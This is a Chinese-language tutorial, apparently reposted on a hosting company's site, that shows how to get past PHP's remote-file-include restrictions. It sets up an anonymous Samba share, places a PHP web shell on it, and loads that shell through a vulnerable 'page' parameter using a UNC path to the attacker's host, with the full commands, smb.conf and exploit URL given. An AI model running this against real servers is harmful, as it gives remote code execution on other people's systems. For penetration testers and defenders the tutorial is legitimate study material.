如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

這篇文章將為大家詳細(xì)講解有關(guān)如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

成都創(chuàng)新互聯(lián)公司IDC提供業(yè)務(wù):服務(wù)器托管雅安,成都服務(wù)器租用,服務(wù)器托管雅安,重慶服務(wù)器租用等四川省內(nèi)主機(jī)托管與主機(jī)租用業(yè)務(wù);數(shù)據(jù)中心含:雙線機(jī)房,BGP機(jī)房,電信機(jī)房,移動(dòng)機(jī)房,聯(lián)通機(jī)房。

PHP 和 SMB 共享文件訪問(wèn)

在PHP配置文件中,“allow_url_include”wrapper默認(rèn)設(shè)置為“Off”,指示PHP不加載遠(yuǎn)程HTTP或FTP URL,從而防止遠(yuǎn)程文件包含攻擊。但是,即使“allow_url_include”和“allow_url_fopen”都設(shè)置為“Off”,PHP也不會(huì)阻止加載SMB URL。而這就極有可能被濫用來(lái)從SMB共享加載遠(yuǎn)程托管的PHP Web shell。

攻擊場(chǎng)景概述

當(dāng)易受攻擊的PHP應(yīng)用程序代碼嘗試從受攻擊者控制的SMB共享加載PHP Web shell時(shí),SMB共享應(yīng)允許訪問(wèn)該文件。攻擊者需要在其上配置具有匿名瀏覽訪問(wèn)權(quán)限的SMB服務(wù)器。因此,一旦易受攻擊的應(yīng)用程序嘗試從SMB共享訪問(wèn)PHP Web shell,SMB服務(wù)器將不會(huì)要求任何的憑據(jù),易受攻擊的應(yīng)用程序?qū)琖eb shell的PHP代碼。

首先,我重新配置了PHP環(huán)境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名瀏覽訪問(wèn)的SMB服務(wù)器。一旦SMB共享準(zhǔn)備就緒,我們就可以利用易受攻擊的應(yīng)用程序了。

PHP 環(huán)境設(shè)置

將托管易受攻擊代碼的機(jī)器上的“allow_url_fopen”和“allow_url_include”設(shè)置為“Off”

以下是版本為“5.5.11”的PHP當(dāng)前配置截圖:

如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

在繼續(xù)下一步之前,讓我們確保當(dāng)我們嘗試訪問(wèn)HTTP上托管的Web shell時(shí),PHP代碼不允許遠(yuǎn)程文件包含。

如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

可以看到,當(dāng)我試圖從遠(yuǎn)程主機(jī)包含PHP Web shell時(shí),應(yīng)用程序拋出錯(cuò)誤并且沒(méi)有包含遠(yuǎn)程文件。

使用匿名瀏覽訪問(wèn)配置 Samba 服務(wù)器(Linux 機(jī)器)

使用以下命令安裝Samba服務(wù)器:

apt-get install samba

創(chuàng)建SMB共享目錄:

mkdir /var/www/html/pub/

如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

配置新創(chuàng)建的SMB共享目錄的權(quán)限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

運(yùn)行以下命令,刪除SAMBA服務(wù)器配置文件的默認(rèn)內(nèi)容。

echo > /etc/samba/smb.conf

將以下內(nèi)容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
DNS proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

現(xiàn)在,重啟SAMBA服務(wù)器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart

成功重啟SAMBA服務(wù)器后,嘗試訪問(wèn)SMB共享并確保SAMBA服務(wù)器不要求提供憑據(jù)。

在本例中,SAMBA服務(wù)器IP為192.168.0.3,我需要訪問(wèn)Windows文件瀏覽器中的SMB共享,如下:

\\192.168.0.3\

如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

在 SMB 共享中托管 PHP Web shell

太棒了!可以訪問(wèn)smb共享,并顯示目錄“ica”存在。

現(xiàn)在,將PHP shell托管在目錄“/var/www/html/pub”中,該目錄為smb共享目錄“ica”。

如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

成功托管PHP shell后,我們使用Windows文件瀏覽器訪問(wèn)SMB共享目錄“ica”。

\\192.168.0.3\ica\

可以看到php shell存在于smb共享目錄中,在本例中為box.php文件。

如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

利用文件包含易受攻擊的參數(shù)

讓我們使用這個(gè)PHP shell SMB鏈接,以及易受攻擊的php代碼瀏覽它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

PHP易受攻擊的代碼從SMB共享中獲取了web shell,并在應(yīng)用程序服務(wù)器上執(zhí)行了代碼\m/。我們已經(jīng)繞過(guò)了php遠(yuǎn)程文件包含的限制,并包含了托管在遠(yuǎn)程主機(jī)上的Web shell。

如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制

 

關(guān)于如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

當(dāng)前文章:如何利用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制
瀏覽地址:http://muchs.cn/article16/ijsogg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供定制開(kāi)發(fā)、面包屑導(dǎo)航、虛擬主機(jī)、關(guān)鍵詞優(yōu)化外貿(mào)建站、App設(shè)計(jì)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

h5響應(yīng)式網(wǎng)站建設(shè)